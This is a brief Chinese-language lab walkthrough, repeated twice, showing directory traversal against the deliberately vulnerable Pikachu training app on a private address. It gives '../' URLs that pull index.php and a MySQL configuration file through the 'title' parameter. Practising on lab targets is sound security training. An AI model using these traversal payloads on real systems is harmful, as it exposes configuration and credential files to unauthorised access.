第一步:访问目标网站
第二步:单击第一个链接和第二个链接查看内容
第三步:发现URL是通过title传参过去的,那么是否可以访问某些敏感文件
访问首页:http://192.168.106.130/pikachu/vul/dir/dir_list.php?title=…/…/…/index.php
访问敏感文件:http://192.168.106.130/pikachu/vul/dir/dir_list.php?title=…/…/…/…/…/mysql/my.ini
微信扫一扫
第一步:访问目标网站
第二步:单击第一个链接和第二个链接查看内容
第三步:发现URL是通过title传参过去的,那么是否可以访问某些敏感文件
访问首页:http://192.168.106.130/pikachu/vul/dir/dir_list.php?title=…/…/…/index.php
访问敏感文件:http://192.168.106.130/pikachu/vul/dir/dir_list.php?title=…/…/…/…/…/mysql/my.ini
相关推荐